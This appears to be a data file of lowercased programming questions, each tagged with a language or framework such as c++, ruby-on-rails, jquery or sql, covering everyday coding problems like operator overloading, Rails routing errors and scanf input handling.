operator== and vector confusion  i m having some trouble keeping objects in a vector  and i think i need to do something with the operators.   <pre><code>std::vector&lt;foo&gt; vec; foo a = foo(); vec.push_back(a);  ...  if(std::find(vec.begin()  vec.end()  a) &lt; vec.end()) {     // found } else {     // not found } </code></pre>   foo needs operator== to compile  i do this   <pre><code>bool foo::operator==(const foo&amp; rhs) {     return this == &amp;rhs; } </code></pre>   but from what i understand  <code>vec.push_back</code>  is going to make a copy of the foo object  so my == will return false.    hence  whenever i get to the searching  it is never found.    what s the right thing to do here  i m hoping to avoid switching to a vector of pointers.,c++
binary tree operator overloading and recursion  i was wondering how to overload the == operator for a binary tree to compare if two trees have identical data at same nodes.  so far this is what i have:   <pre> <code> bool treetype::operator==(const treetype& othertree) const {     if((root == null) && (othertree.root == null))         return true; //two null trees are equal     else if((root != null) && (othertree.root != null))     {         return((root->info == othertree.root->info) &&                //this part doesn t actually do anything recursively...                //(root->left == othertree.root->left) &&                //(root->right == othertree.root->right))     }     else         return false; //one tree is null the other is not }   //treetype declarations struct treenode; enum ordertype {pre_order  in_order  post_order}; class treetype { public:   treetype();                     // constructor  ~treetype();                    // destructor   treetype(const treetype& originaltree);    void operator=(const treetype& originaltree);   // copy constructor   void makeempty();   bool isempty() const;   bool isfull() const;   int lengthis() const;    void retrieveitem(itemtype& item  bool& found);   void insertitem(itemtype item);   void deleteitem(itemtype item);   void resettree(ordertype order);    void getnextitem (itemtype& item  ordertype order          bool& finished);   void print(std::ofstream& outfile) const;   bool operator==(const treetype&) const; private:   treenode* root;   quetype preque;   quetype inque;   quetype postque; };   //definitions struct treenode {   itemtype info;   treenode* left;   treenode* right; };  bool treetype::isfull() const // returns true if there is no room for another item  //  on the free store; false otherwise. {   treenode* location;   try   {     location = new treenode;     delete location;     return false;   }   catch(std::bad_alloc exception)   {     return true;   } }  bool treetype::isempty() const // returns true if the tree is empty; false otherwise. {   return root == null; }  int countnodes(treenode* tree);  int treetype::lengthis() const // calls recursive function countnodes to count the  // nodes in the tree. {   return countnodes(root); }   int countnodes(treenode* tree) // post: returns the number of nodes in the tree. {   if (tree == null)     return 0;   else      return countnodes(tree->left) + countnodes(tree->right) + 1; }  void retrieve(treenode* tree        itemtype& item  bool& found);  void treetype::retrieveitem(itemtype& item  bool& found) // calls recursive function retrieve to search the tree for item. {   retrieve(root  item  found); }   void retrieve(treenode* tree        itemtype& item  bool& found) // recursively searches tree for item. // post: if there is an element someitem whose key matches item s  //       found is true and item is set to a copy of someitem;  //       otherwise found is false and item is unchanged. {   if (tree == null)     found = false;                     // item is not found.   else if (item info)           retrieve(tree->left  item  found); // search left subtree.   else if (item > tree->info)     retrieve(tree->right  item  found);// search right subtree.   else   {     item = tree->info;                 // item is found.     found = true;    } }   void insert(treenode*& tree  itemtype item);  void treetype::insertitem(itemtype item) // calls recursive function insert to insert item into tree. {   insert(root  item); }   void insert(treenode*& tree  itemtype item) // inserts item into tree. // post:  item is in tree; search property is maintained. {   if (tree == null)   {// insertion place found.     tree = new treenode;     tree->right = null;     tree->left = null;     tree->info = item;   }   else if (item info)     insert(tree->left  item);    // insert in left subtree.   else     insert(tree->right  item);   // insert in right subtree. }  void deletenode(treenode*& tree);  void delete(treenode*& tree  itemtype item);  void treetype::deleteitem(itemtype item) // calls recursive function delete to delete item from tree. {   delete(root  item); }   void delete(treenode*& tree  itemtype item) // deletes item from tree. // post:  item is not in tree. {   if (item info)     delete(tree->left  item);   // look in left subtree.   else if (item > tree->info)     delete(tree->right  item);  // look in right subtree.   else     deletenode(tree);           // node found; call deletenode. }     void getpredecessor(treenode* tree  itemtype& data);  void deletenode(treenode*& tree) // deletes the node pointed to by tree. // post: the user s data in the node pointed to by tree is no  //       longer in the tree.  if tree is a leaf node or has only  //       non-null child pointer the node pointed to by tree is  //       deleted; otherwise  the user s data is replaced by its  //       logical predecessor and the predecessor s node is deleted. {   itemtype data;   treenode* tempptr;    tempptr = tree;   if (tree->left == null)   {     tree = tree->right;     delete tempptr;   }   else if (tree->right == null)   {     tree = tree->left;     delete tempptr;   }   else   {     getpredecessor(tree->left  data);     tree->info = data;     delete(tree->left  data);  // delete predecessor node.   } }  void getpredecessor(treenode* tree  itemtype& data) // sets data to the info member of the right-most node in tree. {   while (tree->right != null)     tree = tree->right;   data = tree->info; }  void printtree(treenode* tree  std::ofstream& outfile)  // prints info member of items in tree in sorted order on outfile. {   if (tree != null)   {     printtree(tree->left  outfile);   // print left subtree.     outfile info;     printtree(tree->right  outfile);  // print right subtree.   } }  void treetype::print(std::ofstream& outfile) const // calls recursive function print to print items in the tree. {   printtree(root  outfile); }  treetype::treetype() {   root = null; }  void destroy(treenode*& tree);  treetype::~treetype() // calls recursive function destroy to destroy the tree. {   destroy(root); }   void destroy(treenode*& tree) // post: tree is empty; nodes have been deallocated. {   if (tree != null)   {     destroy(tree->left);     destroy(tree->right);     delete tree;   } }  void treetype::makeempty() {   destroy(root);   root = null; }   void copytree(treenode*& copy        const treenode* originaltree);  treetype::treetype(const treetype& originaltree) // calls recursive function copytree to copy originaltree  //  into root. {   copytree(root  originaltree.root); }  void treetype::operator=       (const treetype& originaltree) // calls recursive function copytree to copy originaltree  // into root. {   {   if (&originaltree == this)     return;             // ignore assigning self to self   destroy(root);      // deallocate existing tree nodes   copytree(root  originaltree.root);   }  } void copytree(treenode*& copy        const treenode* originaltree) // post: copy is the root of a tree that is a duplicate  //       of originaltree. {   if (originaltree == null)     copy = null;   else   {     copy = new treenode;     copy->info = originaltree->info;     copytree(copy->left  originaltree->left);     copytree(copy->right  originaltree->right);   } } // function prototypes for auxiliary functions.  void preorder(treenode*  quetype&); // enqueues tree items in preorder.   void inorder(treenode*  quetype&); // enqueues tree items in inorder.   void postorder(treenode*  quetype&); // enqueues tree items in postorder.   void treetype::resettree(ordertype order) // calls function to create a queue of the tree elements in  // the desired order. {   switch (order)   {     case pre_order : preorder(root  preque);                      break;     case in_order  : inorder(root  inque);                      break;     case post_order: postorder(root  postque);                      break;   } }   void preorder(treenode* tree        quetype& preque) // post: preque contains the tree items in preorder. {   if (tree != null)   {     preque.enqueue(tree->info);     preorder(tree->left  preque);     preorder(tree->right  preque);   } }   void inorder(treenode* tree        quetype& inque) // post: inque contains the tree items in inorder. {   if (tree != null)   {     inorder(tree->left  inque);     inque.enqueue(tree->info);     inorder(tree->right  inque);   } }   void postorder(treenode* tree        quetype& postque) // post: postque contains the tree items in postorder. {   if (tree != null)   {     postorder(tree->left  postque);     postorder(tree->right  postque);     postque.enqueue(tree->info);   } }   void treetype::getnextitem(itemtype& item        ordertype order  bool& finished) // returns the next item in the desired order. // post: for the desired order  item is the next item in the queue. //       if item is the last one in the queue  finished is true;  //       otherwise finished is false. {   finished = false;   switch (order)   {     case pre_order  : preque.dequeue(item);                       if (preque.isempty())                         finished = true;                       break;     case in_order   : inque.dequeue(item);                       if (inque.isempty())                         finished = true;                       break;     case  post_order: postque.dequeue(item);                       if (postque.isempty())                         finished = true;                       break;   } }  </code> </pre>   i have a similar function that takes two treenode pointers as parameters but i ve been stuck on how to convert it to this function.    the definition of tree is from a book.  i m just supposed to add the functionality of an overloaded == operator.,c++
overriding property accessor names in objective-c with @synthesize  i m trying to find documentation on how i can override a property name in objective-c with @synthesize. if i have an instance variable name of  foo   i want to write it s accessor as  bar .     doing something such as   <pre><code>@synthesize foo = bar; </code></pre>   gives a compile-time error.,objective-c
loop through array in joining tables  am trying to join tables  i have 3 models   <pre><code>class classadviser &lt; activerecord::base     has_many :feeds   has_many :students end  class feed &lt; activerecord::base   belongs_to :hod   belongs_to :class_adviser   belongs_to :student end  class student &lt; activerecord::base  belongs_to :class_adviser   has_many :feeds end </code></pre>   how do iterate through the array and get all rows in the joined table i want to display the details of each student individually.below is what i tried but i get only details of feeds.   <pre><code>@get_stds = current_class_adviser.students @get_stds.each do |d| @students &lt;&lt; d.id end @students = @students.flatten  for number in @students   @feeds = feed.joins(:student).where ( student_id =  #{number}  ) end </code></pre>,ruby-on-rails
simple ruby on rails controller error message   on my website i am trying to enter employee s last name so that it shows me the corresponding phones that employee has sold. so in terminal i typed this in    <pre><code>rails g controller showemployeesales employeenamein salesout </code></pre>   i edited my controller  route.rb  input  and outputfiles. here is my code for those sections:    controller: `   <pre><code>         class showemployeesalescontroller &lt; applicationcontroller          def employeenamein          end           def salesout          @employee_name = params[:employee_name_in]          @r = employee.find_by_last(@employee_name)          @sale_list = @r   @r.sales : nil          @sale_list = sale.all          end          end </code></pre>   input file:   <pre><code>  &lt;h2&gt;please enter the name of the employee for whom you want to show    sales&lt;/h2&gt;    &lt;%= form_tag(showemployeesales_salesout_path  :controller     showemployeesales   :action =&gt;  salesout   :method =&gt;  post )  &lt;div class= field &gt; &lt;%= label_tag :employee_name %&gt;&lt;br /&gt; &lt;%= text_field_tag :employee_name_in %&gt; &lt;/div&gt;  &lt;div class= action &gt;     &lt;%= submit_tag  submit employee name  %&gt; &lt;/div&gt;  &lt;% end %&gt; </code></pre>   output file:   <pre><code>  &lt;center&gt;&lt;h1&gt;these are the sales for &lt;%= @employee_name %&gt;&lt;/h1&gt;&lt;/center&gt;    &lt;center&gt;&lt;table width = 65% border = 1&gt;   &lt;tr&gt; &lt;th&gt; phone name &lt;/th&gt;&lt;th&gt; phone id number &lt;/th&gt;    &lt;% @sale_list.each do |m| %&gt;      &lt;tr&gt; &lt;td&gt; &lt;%= m.mobile %&gt; &lt;/td&gt; &lt;td&gt; &lt;%= m.employee %&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;% end %&gt; &lt;/table&gt; &lt;/center&gt; </code></pre>   after i run my website i get an error message saying:   <pre><code>  `undefined method `find_by_last  for #&lt;class:0x007f9d1e963170&gt; did you mean      find_by_sql </code></pre>   also when i navigate to my  /showemployeesales/employeenamein     i get an error saying:<code>/home/ubuntu/workspace/app/views/showemployeesales/employeenamein.html.erb:3: syntax error  unexpected tstring_beg  expecting  )  ...es_salesout_path  :controller  showemployeesales   :action =... ... ^ /home/ubuntu/workspace/app/views/showemployeesales/employeenamein.html.erb:3: syntax error  unexpected      expecting  )  ...controller  showemployeesales   :action =&gt;  salesout   :meth... ... ^ /home/ubuntu/workspace/app/views/showemployeesales/employeenamein.html.erb:3: syntax error  unexpected      expecting  )  ...esales   :action =&gt;  salesout   :method =&gt;  post ) ... ^ /home/ubuntu/workspace/app/views/showemployeesales/employeenamein.html.erb:5: syntax error  unexpected  &lt;   expecting keyword_end &lt;div class= field &gt; ^ /home/ubuntu/workspace/app/views/showemployeesales/employeenamein.html.erb:6: syntax error  unexpected  &lt;  &lt;%= label_tag :employee_name );@output_buffer.safe_append= &lt;br /&gt; ^ /home/ubuntu/workspace/app/views/showemployeesales/employeenamein.html.erb:15: syntax error  unexpected keyword_ensure  expecting end-of-input</code>    and it highlights this line <code>&lt;%= form_tag(showemployeesales_salesout_path  :controller  showemployeesales   :action =&gt;  salesout   :method =&gt;  post )</code>,ruby-on-rails
which one of the uiimage s blendmode is equal to the srcinvert of the bitblt   i want to xor the destination image with the source image.  i think  that uiimage s blendmode is the right way. i try kcgblendmodexor  but failed.    so which one  of  the uiimage s   blendmode  is equal  to the  srcinvert of the  bitblt,objective-c
simple code to place an image on a coordinate  i want to place an image at a fixed coordinate on the page  left corner of screen for example. i also want to control the size of the image.,html
c# random seed generator of multiple instances  i m making a simple game to improve my c# skills. i read about the random() class and how it generates a seed off of datetime and found some results of how to get a pseudorandom generator from one instance.    player class:   <pre><code>    random dice = new random();     public int rolldice()     {         int dice1 = dice.next(1  7);         int dice2 = dice.next(1  7);         int sum = dice1 + dice2;         console.writeline( d1:   + dice1 +   d2:   + dice2 +   sum:   + sum);         return sum;     } </code></pre>   main:   <pre><code>//infiniteloop{       player1.rolldice();       console.readkey();       player2.rolldice();   } </code></pre>   upon output  no longer how long i wait to press the key and re-call the player2.diceroll() it still will roll the same numbers. if i only have one player  it works perfectly. how can i improve this,c#
how to create a short jquery code according to the pattern   i have a long list elements <code>&lt;li&gt;</code> in my html code:   <pre><code>&lt;li class= pl1 &gt;&lt;a href= # &gt;some&lt;/a&gt;&lt;/li&gt; &lt;li class= pl2 &gt;&lt;a href= # &gt;something&lt;/a&gt;&lt;/li&gt; &lt;li class= pl3 &gt;&lt;a href= # &gt;something1&lt;/a&gt;&lt;/li&gt; </code></pre>   and somewhere else in html code objects:   <pre><code>&lt;span id= pl1 &gt;.&lt;/span&gt; &lt;span id= pl2 &gt;.&lt;/span&gt; &lt;span id= pl3 &gt;.&lt;/span&gt; </code></pre>   and i wrote a script that adds class named <code>focus</code> in according pattern:   <pre><code>$( li.pl1 ).mouseenter(function() {     $( #pl1 ).addclass( focus ); }); $( li.pl2 ).mouseenter(function() {     $( #pl2 ).addclass( focus ); }); $( li.pl3 ).mouseenter(function() {     $( #pl3 ).addclass( focus ); }); </code></pre>   the only problem is that the code would have to be long. how to write a short jquery code according to this pattern,jquery
check class or class instance  how to check if id is class definition or class instance  for example:    <pre><code>class def =[nsstring class]; nsstring * inst= @ test ;  [self check:def]; // should output  class  [self check:inst]; //should output  instance    -(void)check:(id)object {     if(objejct ... ){ //             nslog(@ instance );     }else{         nslog(@ class );     } } </code></pre>,objective-c
best way to log an override method  taking the example of <a href= http://www.dotnetperls.com/override  rel= nofollow >dotnetperls</a>   <pre><code>class a {     public virtual void y()     {         console.writeline( a.y );     } }  class b : a {     public override void y()     {         console.writeline( b.y );     } } </code></pre>   how can i safely call a method in the <code>y</code> method  for example  to log some action  without the need to edit every single implementation     i know the <code>virtual</code> makes the method overridable and that the original method is never called unless you use the <code>base</code> caller  i also investigated a bit about <a href= https://www.postsharp.net  rel= nofollow >postsharp</a> but does not seem to help here...    just trying to get my head around in order log some calls without the need to edit each and ever implementation :(,c#
query with multiple column conditions in single table  my table consisting multiple columns data with combination of data and null values.here i want to display only data not null value when i select for that i have write one query like below.   <pre><code>select capability        businessstrategymessaging from tb_mbupsheetdata  where (capability is not null)   and (businessstrategymessaging is not null) </code></pre>   but it showing empty table not displaying table data.i want to satisfy two columns and display data when i select.    please give me suggestions please.,sql
php while statement  except on post id  i got the following php.  and what i want is this loop to exclude specific post ids    the following field will generate the id i wish to exclude    <pre><code>&lt; php the_field( excludeid );  &gt; </code></pre>   (this field basicly checks if a checkbox is marked on the page  and if it is  it will output the page id)    so if it checks page id 701  checkbox is marked  it will output 701 (and otherwise it outputs nothing)    so in the loop i want to check if the page it loops for  matches with that output  if it does  it needs to skip it   <pre><code>&lt; php while ( $parent-&gt;have_posts() ) : $parent-&gt;the_post();  &gt; do something  except when page id is equal to &lt; php the_field( excludeid );  &gt;  &lt; php endwhile;  &gt; </code></pre>   edit   this is what i have now:   <pre><code>    &lt; php while ( $parent-&gt;have_posts() ) : $parent-&gt;the_post();  &gt; &lt; php if( $post-&gt;id == 686) continue;  &gt; &lt; php endwhile;  &gt; </code></pre>   that works  but when i change the 686 to  the_field( excludeid )  (which outputs 686) it doesnt work. i am a total newb in php  so manybe i am doing something dumb here xd,php
scanf allow space between words  i am try to read in some data with an id followed by firstname lastname from a text file and i cannot seem to get scanf to allow the space.    input may look like: 123456 firstname lastname    <code>scanf( %d%s   &amp;id  fullname)</code> doesn t work because it cuts off at the space between first and last name. i would like to have  first last  in one string (preferrably without concat because there are instances where the last name is not included).,c
dedect the creation of an new object in .net (c#)  does someone know  if its possible to detect the creation-process of an new object in my c# code  not by having a baseclass and raising an event or anything like this - just for every  new  instance of an object  or a desired type of an object in the current application.    thx cad,.net
is there a way to integrate the cloud icon to download content  i made a calculus video app and i would like to add the capability to download the videos for offline use. i could create a button and have my own icon of course but i am trying to see if there is a way to integrate the little cloud icon that apple uses in its wwdc app (and app store app) for downloads(see screenshot below) <a href= https://i.stack.imgur.com/4d96p.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/4d96p.jpg  alt= cloud icon ></a>,ios
postback for passwords in cleartext   i ve just started working on an aspx web from login page for aspnet.identity. i have my fields  username and password (textmode= password ) and a submit button (asp:button) as usual with my code behind to do login  etc.     my question is  when my user clicks submit  how is the password sent to the server  do i need to be on ssl to ensure that the password isn t sent in cleartext     <strong>edit</strong> stackoverflow s login page isn t over https - how do they (and other sites that don t use https) manage password transmission,asp.net
angularjs page is not loading to newbie  my task is to show <code>hello  angular!</code> in the browser  using angularjs.    this is my html:   <pre class= lang-html prettyprint-override ><code>&lt;!doctype html&gt; &lt;html ng-app&gt;     &lt;head&gt;         &lt;title&gt;introduction to angularjs application&lt;/title&gt;         &lt;script src= scripts/myscripts/example01scripts.js &gt;&lt;/script&gt;     &lt;/head&gt;     &lt;body ng-controller= maincontroller &gt;         &lt;h1&gt;{{message}}&lt;/h1&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   this is my javascript:   <pre class= lang-js prettyprint-override ><code>/// &lt;reference path= ../angular.js  /&gt; var maincontroller = function ($scope) {     $scope.message =  hello  angular! ; }; </code></pre>   and here s what i m getting:    <img src= https://i.stack.imgur.com/bbjpw.png  alt= &lt;h1&gt;{{message}}&lt;/h1&gt; >    this is my expected result:   <pre><code>&lt;!doctype html&gt; &lt;html ng-app&gt;     &lt;head&gt;         &lt;title&gt;introduction to angularjs application&lt;/title&gt;         &lt;script src= scripts/myscripts/example01scripts.js &gt;&lt;/script&gt;     &lt;/head&gt;     &lt;body ng-controller= maincontroller &gt;         &lt;h1&gt;hello  angular!&lt;/h1&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   the interpolation isn t functioning correctly. why is this  and how can i fix it,angularjs
what is the right ui pattern for an optional date   i am using a dialogfragment to show a datepicker to choose a date. the point is that such date could be optional  so somewhere i should display a checkbox asking to use the date or not. so how would you do such an ui  .    so far i tried adding a checkbox on the same dialogfragment but i believe the interaction wont be very intuitive because if you choose the checkbox  no date  i would have to block or disable the datepicker but i wasn t able to do that and even if i do i am not sure if it is the best approach.    have you seen any application solving a problem like this and how does it solve it,android
how to insert serial number in jquery datatable using jquery  <pre><code>&lt; script type =  text/javascript  &gt;   $(function() {     var oalllinkstable = $( #mydatatable ).datatable({        bprocessing : false         bserverside : true         sajaxsource :  /myreports/data id=  + id         spaginationtype :  full_numbers          bdestroy : true     });   });  &lt; /script&gt; </code></pre>   my table as follows   <pre><code> &lt;table id= headertagstable  style= width: 100%;  class= grid-table04 margin-b-20 &gt;   &lt;thead&gt;     &lt;tr&gt;       &lt;th width= 10%  align= left  valign= middle &gt;         si no       &lt;/th&gt;       &lt;th width= 40%  align= left  class= black-link-first  valign= middle &gt;         name       &lt;/th&gt;       &lt;th width= 25%  align= left  valign= middle &gt;         date       &lt;/th&gt;       &lt;th width= 25%  align= left  valign= middle &gt;         place       &lt;/th&gt;     &lt;/tr&gt;   &lt;/thead&gt; &lt;/table&gt; </code></pre>   all works fine except serial number. how can i add serial number using jquery,jquery
single query that defines 2 tables has same row  query 1    <pre><code>(select count(*) from calendar) </code></pre>   it returns 15    query 2   <pre><code>(select value from parameter where name =  plan_horizon ) </code></pre>   it returns 15 too only when my programs runs without error. if error occurs   it returns 10 or other values.    this↓ is wrong sql  but i want a single query which returns true or false.   <pre><code>select if (query1 == query2)  </code></pre>   how can i define 2 sql has same result in a query,sql
jquery table td id  i have a table in which each <code>tr</code> is a record and each <code>td</code> is a column. when i use the <code>click</code> event and click on <code>tr</code>  i need both <code>tr</code> id and the 6th column <code>td</code> id.    both <code>tr</code> and <code>td</code> id should be assigned to a variable.    how to do this with a jquery selector     is this correct    <pre><code>$(‘tr td).(‘click’  function ( { }); </code></pre>   any help would be be appreciated. i tried this too:   <pre><code>$( tr td:nth-child(5) ) </code></pre>   ... but it didn t work.,jquery
how to let ruby/rails debugger only jump into application codes  when doing rails development  and shen using <code>debugger</code> it often happens that <code>step</code> leads to library code  is there a way to restrict it only jumping into my application s code  thank you very much,ruby-on-rails
create a new record from link_to results in urlgenerationerror  i am trying to create a record in a table direcly when the user clicks on a link.    however it is generating the following error when it tries to load the view.   <pre><code>actioncontroller::urlgenerationerror in sopheaders#show  no route matches {:action=&gt; create   :company_id=&gt;2  :controller=&gt; sop_detail   :cost=&gt;0.1e2  :cost_sop=&gt;0.103e2  :customer_id=&gt;1  :desc1=&gt; printer cable ydp30 - secura 224 iceu   :flag_required=&gt;true  :id=&gt; 4   :list_price=&gt;0.0  :opportunity_id=&gt; 9   :product_code=&gt; 01-69y03293   :quantity=&gt;1  :sophead_id=&gt;4  :unit_price=&gt;0.0} </code></pre>   my view   <pre><code>&lt;%= link_to  add to quote   {:controller =&gt;  sop_details                           :action =&gt;  create                           :sophead_id =&gt; @sop_header.id                         :customer_id =&gt; @customer.id                         :company_id =&gt; @customer.company_id                          :product_code =&gt; stock.product_code                          :unit_price =&gt; stock.price                          :quantity =&gt; 1                         :cost =&gt; stock.cost                          :cost_sop =&gt; stock.cost_sop                          :list_price =&gt; stock.list_price                          :flag_required =&gt; true                          :desc1 =&gt; stock.desc1}                         :method =&gt;  post  %&gt; </code></pre>   my controller   <pre><code>  def new     @sop_detail = sopdetail.new   end   def create     respond_to do |format|       if @sop_detail.save         format.html { redirect_to customer_opportunity_sop_header_path(@customer  @opportunity  @sop_header) }         format.json { render :show  status: :created  location: @sop_header }       else         format.html { render :new }         format.json { render json: @sop_header.errors  status: :unprocessable_entity }       end     end end </code></pre>   my route table output   <pre><code>    customer_opportunity_sop_header_sop_details get    /customers/:customer_id/opportunities/:opportunity_id/sop_headers/:sop_header_id/sop_details(.:format)          sop_details#index                                                 post   /customers/:customer_id/opportunities/:opportunity_id/sop_headers/:sop_header_id/sop_details(.:format)          sop_details#create  new_customer_opportunity_sop_header_sop_detail get    /customers/:customer_id/opportunities/:opportunity_id/sop_headers/:sop_header_id/sop_details/new(.:format)      sop_details#new edit_customer_opportunity_sop_header_sop_detail get    /customers/:customer_id/opportunities/:opportunity_id/sop_headers/:sop_header_id/sop_details/:id/edit(.:format) sop_details#edit      customer_opportunity_sop_header_sop_detail get    /customers/:customer_id/opportunities/:opportunity_id/sop_headers/:sop_header_id/sop_details/:id(.:format)      sop_details#show                                                 patch  /customers/:customer_id/opportunities/:opportunity_id/sop_headers/:sop_header_id/sop_details/:id(.:format)      sop_details#update                                                 put    /customers/:customer_id/opportunities/:opportunity_id/sop_headers/:sop_header_id/sop_details/:id(.:format)      sop_details#update </code></pre>   what am i doing wrong,ruby-on-rails
what is .net framework  i have been asked in an interview that what is .net framework.how can i define it to a layman,.net
how to synch controller creation and emitting events   i am interested if any of you run into this issue and how you solved it. i have a page that has it s controller and in that page  each tab has it s own controller. depending on how i access the page  via navigation or direct url link  i have issue that tab controllers are not yet ready  by the time outer controller raises event. my solution was to raise  controllercreated  event  passing instance of the controller as the event arg. from each of the tab controllers. outer controller listens for these and invokes on them  load  operation.  is there other built in way to synch this without having to raise custom event,angularjs
encryption plus compression  i am looking for a way to encrypt and compress my client&lt;->server communication efficiently.  my idea is to let the client use a key for the encryption.  the key shall be defined by the client during registration.     so my difficulty is to find a encryption way  that allows nearly any string to work as key  and to find an compressing method that works well with encryption.     and on top of that i don t even know if its possible to encrypt and compress my current communication  that is based on serialized objects.    has anyone an idea how to accomplish this  or suggestions/replacement for that,java
sending the device token and app version to server <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/8309742/how-to-send-the-device-token-and-app-version-to-server >how to send the device token and app version to server</a>    </blockquote>     i have implemented the push notification service in my application  but am not able to send the device token id and app version to server.    thanks in advance.    here is the my code   <pre><code>- (void)application:(uiapplication *)application didregisterforremotenotificationswithdevicetoken:(nsdata *)devtoken {     // get bundle info for remote registration (handy if you have more than one app)     nsstring *appversion = [[[nsbundle mainbundle] infodictionary] objectforkey:@ cfbundleversion ];     // prepare the device token for registration (remove spaces and &lt; &gt;)     nsstring *devicetoken = [[[[devtoken description]                         stringbyreplacingoccurrencesofstring:@ &lt; withstring:@  ]                         stringbyreplacingoccurrencesofstring:@ &gt;  withstring:@  ]                         stringbyreplacingoccurrencesofstring: @    withstring: @  ];     nsmutablestring *urlstring = [[base_url mutablecopy] autorelease];     [urlstring appendformat:@ tracedevicetokenid tokenid=%@&amp;version=%@  devicetoken  appversion];     nsurl *url = [nsurl urlwithstring:[urlstring stringbyaddingpercentescapesusingencoding:nsutf8stringencoding]];     nsstring *postlength = [nsstring stringwithformat:@ %d   [urlstring length]];     nsmutableurlrequest *request = [[[nsmutableurlrequest alloc] init] autorelease];     [request seturl:url];     [request sethttpmethod:@ post ];      [request setvalue:postlength forhttpheaderfield:@ content-length ];      [request setvalue:@ text/xml; charset=utf-16  forhttpheaderfield:@ content-type ];     [request sethttpbody:[urlstring datausingencoding:nsutf16stringencoding]];     nslog(@ request xml&gt;&gt;&gt;&gt;&gt;&gt; %@   urlstring);     nserror *error;      nsurlresponse *response;     nsdata *urldata=[nsurlconnection sendsynchronousrequest:request returningresponse:&amp;response error:&amp;error];     nsstring *responsexml = [[nsstring alloc] initwithdata:urldata encoding:nsutf16stringencoding];     nslog(@ response xml&gt;&gt;&gt;&gt;&gt;&gt; = %@   responsexml); } </code></pre>,iphone
palindrome checker  i have been given the following assignment:   <blockquote>    write a program which takes a string as input and prints the longest   prefix of the string whose reverse is a valid suffix of the string.   for example  if  notation  is given as input  the prefix  no  is the   longest prefix that has a matching valid suffix (namely  on ) at the   end.        if a string is a palindrome (i.e. if the string is the same as its   reverse)  then the prefix is the whole string itself. for example  if   input is  civic   then the longest prefix is  civic  itself. if the   string has no valid prefix  print 0. for example  if the input string   is  bird   there is a mismatch at the first character itself and there   is no valid prefix.        the symbols in the string will only be from the set {a-z a-z}. the   symbols are case sensitive. i.e. ‘a’ and ‘a’ are considered to be   different.   you are provided with a function called printchars ( )   that prints a character array from the starting position pointed to by   p to the ending position pointed to by q. if p is null  it prints 0.        the prototype of the function is:   <pre><code>void printchars(char *p  char *q); </code></pre>       you do not have to write the program for printchars ( ) function. this   function is automatically added at the end of the code segment that   you write.        you can use string functions in the library if you desire to.        input: input is a string of length n composed of symbols only from the   set {a-za z}.        output: the longest prefix that has a corresponding matching suffix   and 0 if such a prefix does not exist.        constraints: the inputs will satisfy the following properties. it is   not necessary to validate the inputs.        1&lt;=n&lt;=99  </blockquote>   i have written code but compilation failed. what might be causing the problem and how do i resolve it    <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; void printchars(char *p char *q); int main() {     char a[99];     int n;     scanf( %s  a);     char *p=null *q=null *x;     p=&amp;a[0];     q=&amp;a[0];     n=strlen(a);     x=&amp;a[0]+(n-1);     for(int i=0;i&lt;=(n-1);i++)     {         if(*x==*q)         {             x--;             q++;         }         else         {             q--;             break;         }     }     x=&amp;a[0]+(n-1);     if(*p!=*x)         printf( 0 );     printchars(p q);     return 0; }  void printchars(char *p  char *q) {     if (p==null){         printf( 0 );     }     else{         while(p &lt;= q){             printf( %c  *p);             p++;         }     } </code></pre>   still getting an error   <pre><code>program:52:1: warning: data definition has no type or storage class [enabled by default] program:52:1: warning: type defaults to  int  in declaration of  printchars  [enabled by default]   program:52:1: warning: parameter names (without types) in function declaration [enabled by default]   program:52:1: error: conflicting types for  printchars    program:34:6: note: previous definition of  printchars  was here   program:54:1: error: expected identifier or  (  before  return    program:56:1: error: expected identifier or  (  before  }  token   program:59:6: error: redefinition of  printchars    program:34:6: note: previous definition of  printchars  was here </code></pre>,c
in the given code can someone please explain me this code snippet for (int i=0; i<len; i++) count[str[i]]++; <pre><code>#include&lt;bits/stdc++.h&gt; #define ascii_size 256  using namespace std;  char getmaxoccuringchar(char* str) {      int count[ascii_size] = {0};      // construct character count array from the input     // string.     int len = strlen(str);     for (int i=0; i&lt;len; i++)         count[str[i]]++;    // can someone please explain me this for loop      int max = -1;  // initialize max count     char result;   // initialize result      // traversing through the string and maintaining     // the count of each character     for (int i = 0; i &lt; len; i++) {         if (max &lt; count[str[i]]) {             max = count[str[i]];             result = str[i];         }     }      return result; } </code></pre>,c++
i want to repeat some lines of code if user inputs wrong value  i am sorry if this question was  asked many times  i searched for answer  but could not find one that had answer in c# language. my code has several issues. (i could also use switch bock down there  but i am required to use if blocks). problem is  that if user enters e.g.  a  for operation  program keeps going until reaches the end and outputs that there was an error in input. so i want to give user  second chance  to enter a correct operation or number(program also exits if user input invalid input in number tab) in input and my program to repeat questions until user enters correct one.hope you understand. thanks.   <pre><code>using system;  namespace calculator   { class program {     static void main()     {        while(true)        {         double num1;         console.write( enter a number:  );        string number1 =  console.readline();        if (double.tryparse(number1  out num1))         {            console.writeline( first number is   + num1);        } else if(number1.tolower() ==  quit )        {            console.writeline( goodbye... );           break;        } else        {            console.writeline( that is not a number );           break;         }        //prompt the user for an operation (+ - / *).         console.write( enter an operation:  );        string operation = console.readline();           if(operation.tolower() ==  quit )           {               console.writeline( goodbye... );            }         double num2;        console.write( enter second number:  );        string number2 = console.readline();        if(double.tryparse(number2  out num2))        {            console.writeline( second number is   + num2);         } else if(number2.tolower() ==  quit )        {            console.writeline( goodbye... );           break;        } else        {            console.writeline( that is not a number );         }         if(operation ==  + )        {            console.writeline(num1 + num2);               } else if(operation ==  - )        {            console.writeline(num1 - num2);        } else if(operation ==  * )        {            console.writeline(num1 * num2);        } else if(operation ==  / )        {            console.writeline(num1 / num2);        } else if(operation ==  ^ )        {            console.writeline(math.pow(num1  num2));        } else         {            console.writeline( ---------------------\nsomething went            wrong \nplease check your input and try again );        }         }     }   } } </code></pre>,c#
